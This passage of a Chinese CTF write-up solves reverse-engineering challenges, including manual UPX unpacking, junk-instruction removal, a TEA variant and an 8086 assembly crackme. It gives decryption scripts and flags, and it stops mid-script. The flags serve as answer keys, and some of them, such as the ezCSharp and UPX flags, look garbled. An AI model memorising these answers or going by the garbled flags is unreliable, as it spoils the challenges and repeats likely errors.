&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-104.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;IDA打开so文件，直接定位上面提到的方法&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-105.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;题目的基本逻辑是生成一个随机数列，和为31737执行decryptflag函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-106.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-107.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们直接看decryptflag，重点在a3未知，也就是main中的v6&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-108.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;v6把每个字符当 char 相加的总和，传给 decryptFlag 时取低 8 位&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-109.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;自定义序列 fib ：&lt;/li&gt;
&lt;li&gt;长度为 len(password) // 2 + len(password) 。&lt;/li&gt;
&lt;li&gt;前两项是 ord(password[0]) 和 ord(password[1]) 。&lt;/li&gt;
&lt;li&gt;之后每一项为前两项之和对 10000 取模。&lt;/li&gt;
&lt;li&gt;计算中间值：&lt;/li&gt;
&lt;li&gt;fib_sum = sum(fib)&lt;/li&gt;
&lt;li&gt;pwd_len = len(password)&lt;/li&gt;
&lt;li&gt;v5 = fib_sum ^ (17 * pwd_len)&lt;/li&gt;
&lt;li&gt;ascii_sum = sum(ord(c) for c in password)&lt;/li&gt;
&lt;li&gt;最终得到：&lt;/li&gt;
&lt;li&gt;v6 = 7 * (ascii_sum ^ v5) % 65536&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;def generate_custom_fib_sequence(password):
    length = len(password) // 2 + len(password)
    fib = [ord(password[0]), ord(password[1])]
    for i in range(2, length):
        fib.append((fib[i-1] + fib[i-2]) % 10000)
    return fib

def calculate_v6(password):
    fib = generate_custom_fib_sequence(password)
    fib_sum = sum(fib)
    v5 = fib_sum ^ (17 * len(password))
    ascii_sum = sum(ord(c) for c in password)
    v6 = 7 * (ascii_sum ^ v5) % 65536
    return v6

print(calculate_v6(&quot;yourpass&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;v6为29354，取余后就是51&lt;/p&gt;
&lt;p&gt;密文&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-110.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解密脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;data = [0xEE,0xE4,0xE9,0xEF,0xF3,0xCC,0xF1,0xE6,0xBC,0xE5,0xB9,0xEB,0xD7,0xC4,0xB8,0xBC,0xEC,0xBB,0xFA,0xD7,0xC5,0xBC,0xFB,0xFC,0xBB,0xFA,0xF5,0x00]

cipher = bytes(data[:data.index(0)])
a3 = 51                 
a4 = 31737 &amp;amp; 0xFF       
v7 = a4 ^ a3 ^ 0x42     

plain = bytes(b ^ v7 for b in cipher)
print(plain.decode(&apos;ascii&apos;))

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{Dyn4m1c_L04d3r_M4st3r}&lt;/p&gt;
&lt;h1&gt;6.upx&lt;/h1&gt;
&lt;p&gt;这是一道手动脱壳题，这里用x64dbg+scylla&lt;/p&gt;
&lt;p&gt;x64dbg打开是这样&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-111.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;F9运行，找到入口&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-112.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;F7单步执行，走完入栈，观察ESP的地址&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-113.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;右键该地址，在内存窗口打开&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-114.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后右键栈顶，设置硬件断点（访问，4字节）&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-115.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;设置完之后，F9运行就到了&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-116.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到jmp大跳，跳过去，找到这个，在跳过去&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-117.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;就能看到这个了，能看到让输入flag，这里就是我们要找的&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-118.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开scylla，附件给程序&lt;/p&gt;
&lt;p&gt;把地址输入，点IAT Autosearch  之后点Get Imports删除冒红，点击dump&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-119.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后再对dump出的文件Fix一下&lt;/p&gt;
&lt;p&gt;IDA打开修改后的,字符串搜索&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-120.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点进去，看到flag加密逻辑，对输入进行主字符变换&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-121.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def invert(mut: str) -&amp;gt; str:
    out = []
    i = 0
    for ch in mut:
        if ch == &apos;}&apos;:
            out.append(ch)
            break
        code = ord(ch)
        if 65 &amp;lt;= code &amp;lt;= 90:   # uppercase: inverse of (+ i)
            out.append(chr(((code - 65 - i + 26) % 26) + 65))
        elif 97 &amp;lt;= code &amp;lt;= 122:  # lowercase: inverse of (- i)
            out.append(chr(((code - 97 + i + 26) % 26) + 97))
        else:
            out.append(ch)
        i += 1
    return &apos;&apos;.join(out)

mut = &quot;fkyd{YNek_SD_AB@ars_OKT}&quot;
orig = invert(mut)
print(&quot;Flag:&quot;, orig)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{THls_IS_NN@qik_UPX}&lt;/p&gt;
&lt;h1&gt;7.flowers&lt;/h1&gt;
&lt;p&gt;去花指令题&lt;/p&gt;
&lt;p&gt;IDA打开后会看到有两处花指令，以及许多字节序列，按u再按c&lt;/p&gt;
&lt;p&gt;共有&lt;/p&gt;
&lt;p&gt;第一处花指令&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-122.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第二处&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-123.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第三处&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-124.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第四处&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-125.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第五处&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-126.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第六处&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-127.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第七处&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-128.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第八处&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-129.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第九处&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-130.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第十处&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-131.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第十一处和第十二处&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-132.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;去完花指令，F5，main函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-133.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;enc函数，变种的TEA，delta值为1131796&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-134.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;key和目标数组&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-135.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import struct

def dec(block, key):
    v5, v4 = block
    v6 = 1131796 * 32
    for i in range(32):
        v4 = (v4 - ((v5 + v6) ^ (16*v5 + key[2]) ^ ((v5 &amp;gt;&amp;gt; 5) + key[3]))) &amp;amp; 0xFFFFFFFF
        v6 = (v6 - 1131796) &amp;amp; 0xFFFFFFFF
        v5 = (v5 - ((v4 + v6) ^ (16*v4 + key[0]) ^ ((v4 &amp;gt;&amp;gt; 5) + key[1]))) &amp;amp; 0xFFFFFFFF
    return v5, v4

key = [0x01234567, 0x89ABCDEF, 0x0FEDCBA98, 0x76543210]

ans_hex = (
    &quot;A5 15 A2 47 31 1C 8F DB&quot;
    &quot; 13 BF 6A 91 2F 12 25 DE&quot;
    &quot; 49 26 F5 66 55 0E 9B 4E&quot;
    &quot; DF 19 52 3D 88 63 B6 CF&quot;
    &quot; DF 19 52 3D 88 63 B6 CF&quot;
    &quot; DF 19 52 3D 88 63 B6 CF&quot;
    &quot; 00 00 00 00 00 00 00 00&quot;
    &quot; 00 00 00 00 00 00 00 00&quot;
    &quot; 00 00 00 00 00 00 00 00&quot;
    &quot; 00 00 00 00 00 00 00 00&quot;
    &quot; 00 00 00 00 00 00 00 00&quot;
    &quot; 00 00 00 00 00 00 00 00&quot;
)

ans_bytes = bytes([int(b, 16) for b in ans_hex.split()])
flag_bytes = b&quot;&quot;

for i in range(0, 48, 8):  
    block = struct.unpack(&quot;&amp;lt;II&quot;, ans_bytes[i:i+8])
    dec_block = dec(block, key)
    flag_bytes += struct.pack(&quot;&amp;lt;II&quot;, *dec_block)

print(flag_bytes)
print(flag_bytes.rstrip(b&quot;#&quot;).decode(errors=&quot;ignore&quot;))  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{aCupOf_FlowerTea} （#不影响）&lt;/p&gt;
&lt;h1&gt;8.CPPReverse&lt;/h1&gt;
&lt;p&gt;IDA中打开main函数，开头会做检验，长度要大于等于6&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-136.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_1400017B0取子串&lt;/p&gt;
&lt;p&gt;sub_140003320调用sub_140003380，然后sub_140003380在调用sub_140001620两位一组取值来实现HEX→字节转换&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-137.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-138.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_140003530对每个字节执行顺序相关的三步变换：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;加法： b[i] = (b[i] + i + 7) mod 256&lt;/li&gt;
&lt;li&gt;依赖前一位的异或： if i &amp;gt; 0: b[i] ^= (b[i-1] - 1) （注意这里的 b[i-1] 是已经完成此前全部变换后的值）&lt;/li&gt;
&lt;li&gt;偶数位再异或： if i % 2 == 0: b[i] ^= 0x07&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-139.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过sub_140003450函数再将字节转为16进制串&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-140.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后比较&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-141.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对unk_14000A768交叉引用&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-142.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开sub_140001000函数，看到密文&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-143.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def transform(C: str) -&amp;gt; str:
    
    T = &apos;&apos;.join(reversed(C))

  
    p = [int(T[i:i+2], 16) for i in range(0, len(T), 2)]

    x = []
    for i, val in enumerate(p):
        tmp = val
        if i % 2 == 0:           
            tmp ^= 7
        if i &amp;gt; 0:                
            prev = p[i - 1]
            tmp ^= ((prev - 1) &amp;amp; 0xFF)

        orig = tmp - (i + 7)     
        if orig &amp;lt; 0:
            orig += 256          
        x.append(orig % 256)

    
    Srev = &apos;&apos;.join(f&apos;{b:02X}&apos; for b in x)
    S = &apos;&apos;.join(reversed(Srev))
    return S

def main():
    C = &apos;EE1A9B5AFA59AF28DE5D594F8FB990B1D1345590&apos;  
    S = transform(C)
    print(f&apos;flag{{{S}}}&apos;)

if __name__ == &apos;__main__&apos;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{4350505F526576657253655F4578705F55705570}&lt;/p&gt;
&lt;h2&gt;Week 1&lt;/h2&gt;
&lt;h1&gt;1.8086ASM&lt;/h1&gt;
&lt;p&gt;用010打开&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-144.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;完整汇编&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.MODEL SMALL
.STACK 100H
.DATA
    WELCOME_MSG db &apos;Welcome to 8086ASM.&apos;, 0DH, 0AH, &apos;$&apos;
    INPUT_MSG db &apos;Input your flag:&apos;, &apos;$&apos;

    WRONG_MSG db 0DH, 0AH, &apos;Wrong.&apos;, 0DH, 0AH, &apos;$&apos;
    CORRECT_MSG db 0DH, 0AH, &apos;Correct.&apos;, 0DH, 0AH, &apos;$&apos; 

    DATA1 DB 0BBH, 01BH, 083H, 08CH, 036H, 019H, 0CCH, 097H
            DB 08DH, 0E4H, 097H, 0CCH, 00CH, 048H, 0E4H, 01BH
            DB 00EH, 0D7H, 05BH, 065H, 01BH, 050H, 096H, 006H
            DB 03FH, 019H, 00CH, 04FH, 04EH, 0F9H, 01BH, 0D7H
            DB 0CH, 01DH, 0A0H, 0C6H

    DATA2 DW 01122H, 03344H, 01717H, 09090H, 0BBCCH 

    INPUT_BUFFER db 37 dup(0)
    BUFFER db 37 dup(0)
.CODE

START:
    MOV AX, @DATA
    MOV DS, AX
    MOV AH, 09H
    MOV DX, OFFSET WELCOME_MSG
    INT 21H
    MOV DX, OFFSET INPUT_MSG
    INT 21H
    MOV AH,0AH
    MOV DX, OFFSET INPUT_BUFFER
    MOV BYTE PTR[INPUT_BUFFER], 37
    INT 21H
    CALL ENCRYPT
    MOV DI, OFFSET DATA1
    MOV SI, OFFSET INPUT_BUFFER + 2
    MOV CX, 35
LOOP1:
    MOV AX, [DI]
    CMP AX, [SI]
    JNE WRONG_EXIT
    INC DI
    INC SI
    LOOP LOOP1
    JMP CORRECT_EXIT
WRONG_EXIT:
    MOV AH,09H
    LEA DX,WRONG_MSG
    INT 21H
    JMP EXIT
CORRECT_EXIT:
    MOV AH,09H
    LEA DX,CORRECT_MSG
    INT 21H
    JMP EXIT
EXIT:
    MOV AX, 4C00H
    INT 21H
ENCRYPT PROC
    PUSH AX
    PUSH BX
    PUSH CX
    MOV SI, OFFSET INPUT_BUFFER + 2
    MOV BX, OFFSET DATA2
    MOV CX, 35
LOOP2:
    PUSH CX
    MOV CL, 2
    MOV AL, [SI]
    ROR AL, CL
    POP CX
    MOV [SI], AL
    MOV AX, WORD PTR[SI]
    XOR AX, WORD PTR[BX]
    MOV WORD PTR[SI], AX
    INC SI
    ADD BX, 2
    CMP BX, OFFSET DATA2 + 10
    JNE CASE1
    MOV BX, OFFSET DATA2 
CASE1:
    LOOP LOOP2
    POP CX
    POP BX
    POP AX
    RET
ENCRYPT ENDP 

END START
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密文密钥&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-145.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
DATA1 = [0xBB,0x1B,0x83,0x8C,0x36,0x19,0xCC,0x97,0x8D,0xE4,0x97,0xCC,0x0C,0x48,0xE4,0x1B,
         0x0E,0xD7,0x5B,0x65,0x1B,0x50,0x96,0x06,0x3F,0x19,0x0C,0x4F,0x4E,0xF9,0x1B,0xD7,
         0x0C,0x1D,0xA0,0xC6]
keys = [0x1122,0x3344,0x1717,0x9090,0xBBCC]
klo = [k &amp;amp; 0xFF for k in keys]
khi = [(k &amp;gt;&amp;gt; 8) &amp;amp; 0xFF for k in keys]
rol2 = lambda x: ((x&amp;lt;&amp;lt;2)&amp;amp;0xFF) | (x&amp;gt;&amp;gt;6)

S = DATA1[:]
P = [0]*36
for i in range(34, -1, -1):
    j = i % 5
    V = rol2(S[i] ^ klo[j])
    P[i] = V ^ (khi[(i-1)%5] if i&amp;gt;0 else 0)
    S[i]   = V
    S[i+1] = S[i+1] ^ khi[j]
P[35] = S[35]
print(bytes(P))


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{W31c0m3_t0_8086_A5M_W0RlD___!!}&lt;/p&gt;
&lt;h1&gt;2.ezCSharp&lt;/h1&gt;
&lt;p&gt;用dnspy打开，找到这个打开，看到入口点在Program.Main&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-146.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-147.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在左侧边栏打开&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-148.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-149.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最主要的在这，打开&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-150.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-151.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-152.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在我们就按照加密逻辑中方式对该字符串进行操作&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def decode_flag(encoded: str) -&amp;gt; str:
    out = []
    for c in encoded:
        if c == &apos;!&apos;:
            out.append(&apos;_&apos;)
        elif &apos;a&apos; &amp;lt;= c &amp;lt;= &apos;z&apos;:
            out.append(&apos;z&apos; if c == &apos;a&apos; else chr(ord(c) - 1))
        else:
            out.append(c)
    return &apos;&apos;.join(out)

if __name__ == &quot;__main__&quot;:
    enc = &quot;D1ucj0u!tqjwf!fohjoffsjoh!xj!epspqz!ju!gvo!2025&quot;  
    dec = decode_flag(enc)
    print(&quot;Decoded:&quot;, dec)
    if not dec.startswith(&quot;flag{&quot;):
        print(&quot;Flag form: flag{&quot; + dec + &quot;}&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{D1tbi0t_spive_engineering_wi_doropy_it_fun_2025}&lt;/p&gt;
&lt;h1&gt;3.ezcalculate&lt;/h1&gt;
&lt;p&gt;IDA打开，定位带main函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-153.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;关键加密在这，key的长度是21&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-154.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对输入 &lt;code&gt;Str&lt;/code&gt; 做三步逐字节处理（按 &lt;code&gt;key&lt;/code&gt; 循环取字节）：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;t1 = s + k&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;t2 = t1 ^ k&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;out = t2 - k&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;最后的结果在于answer中字节做对比（取前21字节）&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-155.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;key = b&quot;wwqessgxsddkaao123wms&quot;
answer = bytes([
    0x33, 0x1d, 0x32, 0x44, 0x2a, 0x54, 0x45, 0x2c, 0x2e,
    0x74, 0x8c, 0x4b, 0x40, 0x42, 0x43, 0x73, 0x71, 0x82,
    0x24, 0x35, 0x10,
])

def decrypt(ans, key):
    n, m = len(ans), len(key)
    s = bytearray(n)
    for i in range(n):
        k = key[i % m]
        t2 = (ans[i] + k) &amp;amp; 0xFF
        t1 = t2 ^ k
        s[i] = (t1 - k) &amp;amp; 0xFF
    return bytes(s)

print(decrypt(answer, key).decode(&apos;latin1&apos;))

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{Add_X0r_and_Sub}&lt;/p&gt;
&lt;h1&gt;4.jvav_release&lt;/h1&gt;
&lt;p&gt;JADX中看到mainactivity&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-156.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到这里，说明主函数是从MainActivity.kt中反编译出来的&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-157.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看MainActivity.kt，在最下面，看到调用了 com.utilis.enc.EncKt.checker(String)&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-158.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着去查看，找到真正加密逻辑&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-159.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64
signed=[-89, 96, 102, 118, -89, -122, 103, -103, -125, -95, 114, 117, -116, -102, 114, -115, -125, 108, 110, 118, -91, -83, 101, -115, -116, -114, 124, 114, -123, -87, -87, -114, 121, 108, 124, -114]

b=bytes([(x+256)%256 for x in signed])
n=len(b)

temp=bytearray(n)
for j in range(n):
    temp[j]=b[(j-5)%n]

e=bytearray(n)
for i in range(n):
    val=((~temp[i])&amp;amp;0xFF)^11
    e[i]=(val-32)&amp;amp;0xFF

decoded=base64.b64decode(bytes(e))         
print(decoded.decode(&apos;utf-8&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{kotl1n_is_also_java}&lt;/p&gt;
&lt;h1&gt;5.test&lt;/h1&gt;
&lt;p&gt;IDA打开定位到main函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-160.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看字符串，可以看到用的是Glibc库&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-161.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;种子设置在sub_10E0函数中，即12345&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-162.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后会把我们输入的解密结果低位块与unk_4010对比，高位快与xmmword_401B对比&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-163.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Y = bytes([0x5A,0x66,0x86,0xCE,0x46,0x23,0x75,0x30,0x18,0x6F,0x5B,
           0x7D,0x4D,0x4F,0xF7,0xC4,0x4A,0x0D,0x45,0xAE,0x36,0xEF,
           0x6B,0x81,0xC1,0x82,0x03])
N, SEED = 27, 0x3039

def glibc_rand(seed):
    MOD31=2147483647; r=[0]*344; r[0]=seed &amp;amp; 0xffffffff
